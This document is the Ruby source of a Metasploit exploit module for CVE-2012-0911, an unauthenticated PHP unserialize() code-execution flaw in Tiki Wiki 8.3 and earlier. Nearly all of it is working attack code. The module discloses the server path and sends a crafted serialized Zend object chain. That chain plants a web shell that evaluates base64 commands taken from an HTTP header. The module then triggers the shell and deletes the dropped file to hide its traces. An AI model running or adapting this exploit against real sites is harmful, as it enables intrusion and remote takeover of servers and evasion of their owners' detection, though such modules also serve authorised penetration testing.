##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tiki Wiki unserialize() PHP Code Execution',
      'Description'    => %q{
          This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
        which could be abused to allow unauthenticated users to execute arbitrary code
        under the context of the webserver user.

        The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
        which is called with user controlled data from the 'printpages' parameter.
        The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
        class to write arbitrary PHP code to a file on the Tiki Wiki web directory.

        In order to run successfully three conditions must be satisfied (1) display_errors
        php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
        Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
        version older than 5.3.4 must be used to allow poison null bytes in filesystem related
        functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
      },
      'Author'	=>
        [
          'EgiX', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-0911' ],
          [ 'OSVDB', '83534' ],
          [ 'BID', '54298' ],
          [ 'EDB', '19573' ],
          [ 'URL', 'http://dev.tiki.org/item4109' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        => [ ['Automatic', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 04 2012'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
        ], self.class)
  end


  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("#{peer} - Deleting #{@upload_php}")
        client.fs.file.rm(@upload_php)
        print_good("#{peer} - #{@upload_php} removed to stay ninja")
      rescue
        print_error("#{peer} - Unable to remove #{f}")
      end
    end
  end

  def exploit
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    @upload_php = rand_text_alpha(rand(4) + 4) + ".php"

    print_status("#{peer} - Disclosing the path of the Tiki Wiki on the filesystem")

    res = send_request_cgi(
      'uri' => normalize_uri(base, "tiki-rss_error.php")
    )

    if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
      print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
      return
    else
      tiki_path = $1
      print_good "#{peer} - Tiki Wiki path disclosure: #{tiki_path}"
    end

    php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"

    printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
    printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
    printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
    printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
    printpages << "s:10:\"%00*%00_fields\";a:1:"
    printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
    printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
    printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"

    print_status("#{peer} - Exploiting the unserialize() to upload PHP code")

    res = send_request_cgi(
    {
      'uri' => normalize_uri(base, "tiki-print_multi_pages.php"),
      'method' => 'POST',
      'vars_post' => {
        'printpages' => printpages
      }
    })

    if not res or res.code != 200
      print_error("#{peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
      return
    end

    print_status("#{peer} - Executing the payload #{@upload_php}")

    res = send_request_cgi(
    {
      'method' => 'GET',
      'uri'    => normalize_uri(base, @upload_php),
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })

    if res
      print_error("#{peer} - Payload execution failed: #{res.code}")
      return
    end

  end
end